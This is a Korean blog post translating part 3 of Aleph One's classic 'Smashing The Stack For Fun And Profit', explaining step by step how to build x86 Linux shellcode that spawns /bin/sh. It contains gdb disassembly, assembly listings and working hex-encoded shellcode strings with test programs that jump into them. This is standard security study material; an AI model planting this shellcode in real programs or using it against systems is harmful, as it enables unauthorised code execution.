일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | |||||
3 | 4 | 5 | 6 | 7 | 8 | 9 |
10 | 11 | 12 | 13 | 14 | 15 | 16 |
17 | 18 | 19 | 20 | 21 | 22 | 23 |
24 | 25 | 26 | 27 | 28 | 29 | 30 |
- 시스템해킹
- cryptography
- 번역
- Hxd
- 카이사르
- 리눅스
- picoCTF
- 버퍼오버플로우
- dreamhack
- 시스템
- #hacking
- forensics
- 스택
- Protostar
- Smashing The Stack For Fun And Profit
- picoCTF2018
- reversing
- grep
- #picoCTF2018
- KOISTUDY
- 정답
- WEB
- writeup
- general skills
- write up
- 리버싱
- 해설
- CTF
- 해킹 공부
- Aleph One
- Today
- Total
Security || AI
[시스템 공부] Smashing The Stack For Fun And Profit (3) 번역 본문
[시스템 공부] Smashing The Stack For Fun And Profit (3) 번역
보안&인공지능 2018. 11. 5. 11:16쉘 코드
Shell Code
~~~~~~~~~~
이제 우리는 반환 주소(return address, RET)와 실행의 흐름을 수정할 수 있다는 것을 알게 되었다. 이제 어떤 프로그램을 실행하는 것을 원하는가? 대부분의 경우 우리는 프로그램이 쉘을 실행 시키는 것을 원한다. 그런 다음 쉘로부터 우리는 원하는 명령들을 내릴 수 있다. 만약 우리가 이용하려는 프로그램안에 그러한 코드가 없다면 어떻게 할 것인가? 어떻게 임의의 명령을 주소 공간에 위치시킬 것인가? 정답은 오버플로우가 일어나는 버퍼에 실행하려고 하는 코드를 배치시키고, 반환 주소(return address, RET)에 덮어씌워 버퍼로 다시 이동 시키는 것이다. 스택의 주소가 0xFF에서 시작한고, S는 우리가 실행하기를 원하는 코드라고 생각하면서 스택이 어떻게 생길지 보자:
bottom of DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF top of
memory 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF memory
buffer sfp ret a b c
<------ [SSSSSSSSSSSSSSSSSSSS][SSSS][0xD8][0x01][0x02][0x03]
^ |
|____________________________|
top of bottom of
stack stack
C에서 실행시키는 코드는 아래와 같다:
shellcode.c
-----------------------------------------------------------------------------
#include <stdio.h>
void main() {
char *name[2];
name[0] = "/bin/sh";
name[1] = NULL;
execve(name[0], name, NULL);
}
------------------------------------------------------------------------------
우리가 컴파일한 것이 어셈블리어로 어떻게 표현되는지 알기 위해 gdb를 시작한다.
-static플래그를 사용하는 것을 잊지 말아야한다. 그렇지 않으면, execve시스템 호출의 실제 코드는 포함되지 않는다. 대신 로드 시 일반적으로 연결되는 동적 C 라이브러리에 대한 참조가 있다.
------------------------------------------------------------------------------
[aleph1]$ gcc -o shellcode -ggdb -static shellcode.c
[aleph1]$ gdb shellcode
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
(gdb) disassemble main
Dump of assembler code for function main:
0x8000130 <main>: pushl %ebp
0x8000131 <main+1>: movl %esp,%ebp
0x8000133 <main+3>: subl $0x8,%esp
0x8000136 <main+6>: movl $0x80027b8,0xfffffff8(%ebp)
0x800013d <main+13>: movl $0x0,0xfffffffc(%ebp)
0x8000144 <main+20>: pushl $0x0
0x8000146 <main+22>: leal 0xfffffff8(%ebp),%eax
0x8000149 <main+25>: pushl %eax
0x800014a <main+26>: movl 0xfffffff8(%ebp),%eax
0x800014d <main+29>: pushl %eax
0x800014e <main+30>: call 0x80002bc <__execve>
0x8000153 <main+35>: addl $0xc,%esp
0x8000156 <main+38>: movl %ebp,%esp
0x8000158 <main+40>: popl %ebp
0x8000159 <main+41>: ret
End of assembler dump.
(gdb) disassemble __execve
Dump of assembler code for function __execve:
0x80002bc <__execve>: pushl %ebp
0x80002bd <__execve+1>: movl %esp,%ebp
0x80002bf <__execve+3>: pushl %ebx
0x80002c0 <__execve+4>: movl $0xb,%eax
0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx
0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx
0x80002cb <__execve+15>: movl 0x10(%ebp),%edx
0x80002ce <__execve+18>: int $0x80
0x80002d0 <__execve+20>: movl %eax,%edx
0x80002d2 <__execve+22>: testl %edx,%edx
0x80002d4 <__execve+24>: jnl 0x80002e6 <__execve+42>
0x80002d6 <__execve+26>: negl %edx
0x80002d8 <__execve+28>: pushl %edx
0x80002d9 <__execve+29>: call 0x8001a34 <__normal_errno_location>
0x80002de <__execve+34>: popl %edx
0x80002df <__execve+35>: movl %edx,(%eax)
0x80002e1 <__execve+37>: movl $0xffffffff,%eax
0x80002e6 <__execve+42>: popl %ebx
0x80002e7 <__execve+43>: movl %ebp,%esp
0x80002e9 <__execve+45>: popl %ebp
0x80002ea <__execve+46>: ret
0x80002eb <__execve+47>: nop
End of assembler dump.
------------------------------------------------------------------------------
여기서 무엇이 일어나는지 이해해보자. 우리는 main부터 공부할 것이다.
------------------------------------------------------------------------------
0x8000130 <main>: pushl %ebp
0x8000131 <main+1>: movl %esp,%ebp
0x8000133 <main+3>: subl $0x8,%esp
여기는 프로시저 도입부이다.여기서는 먼저 예전의 프레임 포인터를 저장하고,
현재의 스택포인터를 새로운 프레임 포인터로 만든다, 그리고 지역변수들을
위한 공간을 남긴다. 이 경우 이것은:
char *name[2];
즉, char(문자형)을 나타내는 2개의 포인터이다. 포인터는 길이가 1인 워드이다,
그러므로 2워드(8바이트)를 위한 공간을 남겨둔다.
0x8000136 <main+6>: movl $0x80027b8,0xfffffff8(%ebp)
우리는 0x80027b8 (문자열 "/bin/sh"의 주소)값을 첫번째 포인터인 name[]에
복사한다. 이 값은 다음과 같다
name[0] = "/bin/sh";
0x800013d <main+13>: movl $0x0,0xfffffffc(%ebp)
우리는 0x0(NULL)값을 두번째 포인터인 name[]에 복사한다.
이 값은 다음과 같다:
name[1] = NULL;
execve()호출은 여기서 시작한다.
0x8000144 <main+20>: pushl $0x0
스택의 반대 방향으로 execve()의 인자들을 밀어 넣는다.
NULL부터 시작하게 된다.
0x8000146 <main+22>: leal 0xfffffff8(%ebp),%eax
name[]의 주소를 EAX 레지스터로 저장한다.
0x8000149 <main+25>: pushl %eax
name[]의 주소를 스택에 밀어 넣는다.
0x800014a <main+26>: movl 0xfffffff8(%ebp),%eax
문자열 "/bin/sh"의 주소를 EAX레지스터에 저장한다.
0x800014d <main+29>: pushl %eax
문자열 "/bin/sh”를 스택이 밀어 넣는다.
0x800014e <main+30>: call 0x80002bc <__execve>
라이브러리 함수인execve()를 호출한다. call 명령은 IP(Instruction Pointer: 명령어 포인터)를 스택에 밀어 넣는다.
------------------------------------------------------------------------------
이제 execve()함수를 보자. 인텔 기반의 리눅스 시스템을 사용한다는 것을 잊지 말자. 시스템호출의 세부 사항은 OS와 CPU에 따라 달라진다. 몇몇은 스택의 인자들을 스택으로 전달하고, 다른 것들은 레지스터로 보낸다. 몇몇은 커널 모드로 점프하기 위해 커널 모드로 점프하지만, 다른 것들은 far 호출에 사용한다. 리눅스는 레지스터의 시스템 호출로 인자를 넘기고, 커널 모드로 점프하기위해 소프트웨어 인터럽트를 사용한다.
------------------------------------------------------------------------------
0x80002bc <__execve>: pushl %ebp
0x80002bd <__execve+1>: movl %esp,%ebp
0x80002bf <__execve+3>: pushl %ebx
프로시저 도입부
0x80002c0 <__execve+4>: movl $0xb,%eax
0xb (10진수로 11) 스택으로 복사한다. 이것은 syscall 목록의 인덱스이다.
11 은 execve이다.
0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx
EBX로 “/bin/sh”의 주소를 복사한다.
0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx
ECX로 name[]의 주소를 복사한다.
0x80002cb <__execve+15>: movl 0x10(%ebp),%edx
EDX로 null 포인터를 복사한다.
0x80002ce <__execve+18>: int $0x80
커널모드로 바꾼다.
------------------------------------------------------------------------------
이렇게 보았듯이 execve() 시스템 호출에 많은 것이 있지 않다는 것을 볼 수 있다. 우리는 다음과 같은 것들을 해야한다:
a) null로 종료되는 문자열인 “/bin/sh”는 메모리 어딘가에 저장된다.
b) null길이의 word뒤에 문자열 “/bin/sh”의 주소가 메모리의 어딘가에 위치한다.
c) 0xb를 EAX 레지스터에 복사한다.
d) 문자열 “/bin/sh”의 주소의 주소를 EBX레지스터에 복사한다.
e) 문자열 “/bin/sh”의 주소를 ECX레지스터에 복사한다.
f) null길이의 word를 EDX레지스터에 복사한다.
g) int $0x80 명령을 실행시킨다.
하지만 execve() 호출이 만약 어떠한 이유로 실패하면 어떻게 될까? 프로그램은 임의의 데이터를 가지고 있는 스택으로부터 계속 명령을 불러 온다. 프로그램은 코어 덤프가 될 것이다. 우리는 execve 시스템호출이 실패하면 프로그램이 깔끔하게 종료 되는 것을 원한다. 이를 이루기 위해서는 exit시스템 호출을 execv시스템 호출 뒤에 추가해야한다. exit 시스템 호출은 어떻게 생겼을까?
exit.c
------------------------------------------------------------------------------
#include <stdlib.h>
void main() {
exit(0);
}
------------------------------------------------------------------------------
------------------------------------------------------------------------------
[aleph1]$ gcc -o exit -static exit.c
[aleph1]$ gdb exit
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
(no debugging symbols found)...
(gdb) disassemble _exit
Dump of assembler code for function _exit:
0x800034c <_exit>: pushl %ebp
0x800034d <_exit+1>: movl %esp,%ebp
0x800034f <_exit+3>: pushl %ebx
0x8000350 <_exit+4>: movl $0x1,%eax
0x8000355 <_exit+9>: movl 0x8(%ebp),%ebx
0x8000358 <_exit+12>: int $0x80
0x800035a <_exit+14>: movl 0xfffffffc(%ebp),%ebx
0x800035d <_exit+17>: movl %ebp,%esp
0x800035f <_exit+19>: popl %ebp
0x8000360 <_exit+20>: ret
0x8000361 <_exit+21>: nop
0x8000362 <_exit+22>: nop
0x8000363 <_exit+23>: nop
End of assembler dump.
------------------------------------------------------------------------------
Exit 시스템 호출은 EAX에 0x1을 위치시킬 것이고, exit 코드를 EBX에 위치시키고 “int 0x80”을 실행시킬 것이다. 바로 그렇다. 대부분의 응용 프로그램들은 0을 반환하고 종료하면서 에러가 없다고 나타낸다. 우리는 EBX에 0을 위치시킬 것이고, 우리는 다음과 같은 절차를 밟는다:
a) null로 종료되는 문자열인 “/bin/sh”는 메모리 어딘가에 저장된다.
b) null길이의 word뒤에 문자열 “/bin/sh”의 주소가 메모리의 어딘가에 위치한다.
c) 0xb를 EAX레지스터에 복사한다.
d) 문자열 “/bin/sh”의 주소의 주소를 EBX 레지스터에 복사한다.
e) 문자열 “/bin/sh”의 주소를 EXC레지스터에 복사한다.
f) null길이의 word를 EDX레지스터에 복사한다.
g) int $0x80명령을 실행한다.
h) 0x1을 EAX레지스터에 복사한다.
i) 0x0을 EBX레지스터에 복사한다.
j) $0x80명령을 실행시킨다.
이를 어셈블리어로 구현하려 하고. 문자열은 코드 뒤에 위치시키고, 우리는 문자열의 주소를 위치시킨 다는 것을 기억하고, 배열 뒤에 null 워드를 위치시킨다. 이것은 다음과 같다:
------------------------------------------------------------------------------
movl string_addr,string_addr_addr
movb $0x0,null_byte_addr
movl $0x0,null_addr
movl $0xb,%eax
movl string_addr,%ebx
leal string_addr,%ecx
leal null_string,%edx
int $0x80
movl $0x1, %eax
movl $0x0, %ebx
int $0x80
/bin/sh string goes here.
------------------------------------------------------------------------------
문제는 우리가 프로그램을 이용하려는 코드(및 코드 뒤에 오는 문자열)가 어디에 놓일지 모른다는 것이다. 한가지 방법은 JMP, CALL명령을 사용하는 것이다. JMP와 CALL명령들은 IP(명령어 포인터)를 사용할 수 있다. 즉, 메모리에서 점프하려는 정확한 주소를 알 필요 없이 현재 IP에서 오프셋으로 점프할 수 있다. 만약 우리가 CALL명령을 문자열“/bin/sh” 바로 앞에 위치시키고, JMP 명령을 위치시키면, 문자열의 주소는 CALL이 실행될 때, return 주소로써 스택에 밀어 넣어진다. 우리가 필요한 모든 것은 복귀 주소를 레지스터에 복사하는 것이다. CALL명령은 단순히 코드의 시작을 호출할 수 있다. J를 JMP명령으로, C를 CALL명령으로하고, s를 문자열이라 가정하면, 실행흐름은 다음과 같다.
bottom of DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF top of
memory 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF memory
buffer sfp ret a b c
<------ [JJSSSSSSSSSSSSSSCCss][ssss][0xD8][0x01][0x02][0x03]
^|^ ^| |
|||_____________||____________| (1)
(2) ||_____________||
|______________| (3)
top of bottom of
stack stack
이렇게 수정한 것으로, 색인화된 주소 지정을 사용하고, 각각의 명령이 얼마나 많은 바이트를 쓰는지 기록하면 다음과 같은 코드로 나타냅니다.
------------------------------------------------------------------------------
jmp offset-to-call # 2 bytes
popl %esi # 1 byte
movl %esi,array-offset(%esi) # 3 bytes
movb $0x0,nullbyteoffset(%esi) # 4 bytes
movl $0x0,null-offset(%esi) # 7 bytes
movl $0xb,%eax # 5 bytes
movl %esi,%ebx # 2 bytes
leal array-offset,(%esi),%ecx # 3 bytes
leal null-offset(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
movl $0x1, %eax # 5 bytes
movl $0x0, %ebx # 5 bytes
int $0x80 # 2 bytes
call offset-to-popl # 5 bytes
/bin/sh string goes here.
------------------------------------------------------------------------------
jmp에서 call까지의 거리, call부터 popl까지의 거리, 문자열의 주소에서 배열까지의 거리와 문자열 주소부터 null길이의 워드까지의 거리를 계산하면 아래와 같다:
------------------------------------------------------------------------------
jmp 0x26 # 2 bytes
popl %esi # 1 byte
movl %esi,0x8(%esi) # 3 bytes
movb $0x0,0x7(%esi) # 4 bytes
movl $0x0,0xc(%esi) # 7 bytes
movl $0xb,%eax # 5 bytes
movl %esi,%ebx # 2 bytes
leal 0x8(%esi),%ecx # 3 bytes
leal 0xc(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
movl $0x1, %eax # 5 bytes
movl $0x0, %ebx # 5 bytes
int $0x80 # 2 bytes
call -0x2b # 5 bytes
.string \"/bin/sh\" # 8 bytes
------------------------------------------------------------------------------
좋은 것 같다. 정확하게 작동하는지 확인하기 위해, 우리는 컴파일을하고 실행시켜 보아야 한다. 하지만 문제가 있다. 우리의 코드는 자기 스스로를 수정하지만, 대부분의 운영체제에서는 코드 부분을 읽기만 하도록 표시한다. 이러한 제한을 회피하기 위해 우리가 실행하고자 하는 코드를 스택이나 데이터 세그먼트에 위치시키고, 제어권을 넘겨주어야 한다. 이를 위해서, 우리의 코드를 데이터 세그먼트에 위치하는 전역 배열에 위치시킬 것이다. 먼저 우리는 이진 코드를 16진수로 표현해야한다. 이를 먼저 컴파일 해보고, gdb를 사용하여 보자.
shellcodeasm.c
------------------------------------------------------------------------------
void main() {
__asm__("
jmp 0x2a # 3 bytes
popl %esi # 1 byte
movl %esi,0x8(%esi) # 3 bytes
movb $0x0,0x7(%esi) # 4 bytes
movl $0x0,0xc(%esi) # 7 bytes
movl $0xb,%eax # 5 bytes
movl %esi,%ebx # 2 bytes
leal 0x8(%esi),%ecx # 3 bytes
leal 0xc(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
movl $0x1, %eax # 5 bytes
movl $0x0, %ebx # 5 bytes
int $0x80 # 2 bytes
call -0x2f # 5 bytes
.string \"/bin/sh\" # 8 bytes
");
}
------------------------------------------------------------------------------
------------------------------------------------------------------------------
[aleph1]$ gcc -o shellcodeasm -g -ggdb shellcodeasm.c
[aleph1]$ gdb shellcodeasm
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
(gdb) disassemble main
Dump of assembler code for function main:
0x8000130 <main>: pushl %ebp
0x8000131 <main+1>: movl %esp,%ebp
0x8000133 <main+3>: jmp 0x800015f <main+47>
0x8000135 <main+5>: popl %esi
0x8000136 <main+6>: movl %esi,0x8(%esi)
0x8000139 <main+9>: movb $0x0,0x7(%esi)
0x800013d <main+13>: movl $0x0,0xc(%esi)
0x8000144 <main+20>: movl $0xb,%eax
0x8000149 <main+25>: movl %esi,%ebx
0x800014b <main+27>: leal 0x8(%esi),%ecx
0x800014e <main+30>: leal 0xc(%esi),%edx
0x8000151 <main+33>: int $0x80
0x8000153 <main+35>: movl $0x1,%eax
0x8000158 <main+40>: movl $0x0,%ebx
0x800015d <main+45>: int $0x80
0x800015f <main+47>: call 0x8000135 <main+5>
0x8000164 <main+52>: das
0x8000165 <main+53>: boundl 0x6e(%ecx),%ebp
0x8000168 <main+56>: das
0x8000169 <main+57>: jae 0x80001d3 <__new_exitfn+55>
0x800016b <main+59>: addb %cl,0x55c35dec(%ecx)
End of assembler dump.
(gdb) x/bx main+3
0x8000133 <main+3>: 0xeb
(gdb)
0x8000134 <main+4>: 0x2a
(gdb)
.
.
.
------------------------------------------------------------------------------
testsc.c
------------------------------------------------------------------------------
char shellcode[] =
"\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"
"\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
"\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff"
"\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3";
void main() {
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}
------------------------------------------------------------------------------
------------------------------------------------------------------------------
[aleph1]$ gcc -o testsc testsc.c
[aleph1]$ ./testsc
$ exit
[aleph1]$
------------------------------------------------------------------------------
작동하였다! 하지만 여기에는 걸림돌이 있다. 대부분의 경우에 우리는 문자형 버퍼를 오버플로우 시키려고 할 것이다. 우리의 쉘코드에 null바이트는 문자열의 끝이라 여겨지고, 복사는 종료될 것이다. 제대로 작동시키려면, 쉘코드에 null 바이트를 없애야 한다. 이제 null 바이트들을 제거하여 보자(동시에 더 작게 만들자).
Problem instruction: Substitute with:
--------------------------------------------------------
movb $0x0,0x7(%esi) xorl %eax,%eax
molv $0x0,0xc(%esi) movb %eax,0x7(%esi)
movl %eax,0xc(%esi)
--------------------------------------------------------
movl $0xb,%eax movb $0xb,%al
--------------------------------------------------------
movl $0x1, %eax xorl %ebx,%ebx
movl $0x0, %ebx movl %ebx,%eax
inc %eax
--------------------------------------------------------
더욱 발전된 코드:
shellcodeasm2.c
------------------------------------------------------------------------------
void main() {
__asm__("
jmp 0x1f # 2 bytes
popl %esi # 1 byte
movl %esi,0x8(%esi) # 3 bytes
xorl %eax,%eax # 2 bytes
movb %eax,0x7(%esi) # 3 bytes
movl %eax,0xc(%esi) # 3 bytes
movb $0xb,%al # 2 bytes
movl %esi,%ebx # 2 bytes
leal 0x8(%esi),%ecx # 3 bytes
leal 0xc(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
xorl %ebx,%ebx # 2 bytes
movl %ebx,%eax # 2 bytes
inc %eax # 1 bytes
int $0x80 # 2 bytes
call -0x24 # 5 bytes
.string \"/bin/sh\" # 8 bytes
# 46 bytes total
");
}
------------------------------------------------------------------------------
새로운 테스트 프로그램:
testsc2.c
------------------------------------------------------------------------------
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
void main() {
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}
------------------------------------------------------------------------------
------------------------------------------------------------------------------
[aleph1]$ gcc -o testsc2 testsc2.c
[aleph1]$ ./testsc2
$ exit
[aleph1]$
------------------------------------------------------------------------------
다음: 익스플로잇 짜기
'Hacking&Security > 시스템[System]' 카테고리의 다른 글
[시스템 공부] Smashing The Stack For Fun And Profit (최종) 번역 (0) | 2018.11.05 |
---|---|
[시스템 공부] Smashing The Stack For Fun And Profit (4) 번역 (0) | 2018.11.05 |
[시스템 공부] Smashing The Stack For Fun And Profit (2) 번역 (0) | 2018.10.29 |
[시스템 공부] Smashing The Stack For Fun And Profit(1) 번역 (0) | 2018.10.26 |
[시스템 공부] 시스템 공부 예정 계획표(커리큘럼) (0) | 2018.10.26 |